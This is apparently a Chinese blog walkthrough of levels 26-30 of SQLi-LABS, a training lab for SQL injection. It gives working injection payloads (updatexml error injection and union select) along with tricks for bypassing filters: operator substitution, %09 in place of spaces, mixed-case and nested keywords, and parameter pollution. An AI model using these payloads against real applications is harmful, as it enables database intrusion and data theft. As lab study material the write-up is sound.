SQLi-LABS通关攻略【26-30关】

SQLi-LABS 26关

1.26关在进行常规测试时,发现有些字符过滤了,查看源码 发现确实如此

这些字符全被过滤了,包括and、or还有空格

所以我我们这里进行相应的替换

and:&&

or:||

2.再次进行闭合测试

?id=1' || '1'='1   回显正常

所以是'闭合

 

3.我们使用报错注入

当然,这里的报错语句中的字符也要进行相应的替换

使用语句:
?id=1' || updatexml(1,concat(1,database()),1) || '1'='1

SQLi-LABS 27关

1. 27关过滤了select和union,还有空格,所以我们使用相应的字符进行替代

使用大小写替换个别字母进行绕过

使用%09替换空格

查找回显点

发现只有一个1回显点,但是进行数据库名查询时,查不出来,因为过滤空格,所以不能将前面的id=1改为-1,因为,‘‘-’’会被过滤,所以只能改成一个不存在的数,还要是正的,这里改为999

?id=1'%09uNion%09seLect%091,2,3%09and%09'1'='1      //回显只有一个,且不能进行查询

?id=999'%09uNion%09seLect%091,2,3%09and%09'1'='1  //得到两个回显点,2处可以进行查询

 

2.使用联合查询进行数据库名查询

?id=999'%09uNion%09seLect%091,database(),3%09and%09'1'='1

SQLi-LABS 28关

1. 28关也是过滤,通过查看源代码得到其过滤的时union select整个语句,所以我们就不能正常使用联合查询语句,我们这里选择使用嵌套关键词方法,就是在union select中嵌套一个union select

具体写法就是:

ununion selection select  //将union里面嵌套一个union select,这样过滤之后就还是union select

2.现在进行闭合判断

?id=1' and '1'='1       //回显成功

?id=1') and '1'='1     //尝试是否有),回显错误

?id=1') and ('1'='1    //回显正常,说明有)

所以时')闭合方式

 

3.进行联合查询

?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1

 

SQLi-LABS 29关

1.29关它说有防火墙,查看源代码(login.php)发现是需要两个参数,代码在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

2.闭合方式测试

?id=1&id=2' and '1'='1       //回显成功

?id=1&id=2') and '1'='1     //尝试是否有),回显错误

?id=1&id=2') and ('1'='1    //回显错误,说明没有)

所以时 ' 闭合方式

 

 

3.使用联合查询进行数据库名查询

?id=1&id=-2' union select 1,database(),3 and '1'='1

SQLi-LABS 30关

1.30关和29关一样,只是闭合方式变为了双引号

?id=-1" union select 1,database(),3--+

可以和29关使用一样的方式,也可以使用最常规的联合查询,同样别的,29关也适用此方式

  • 18
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值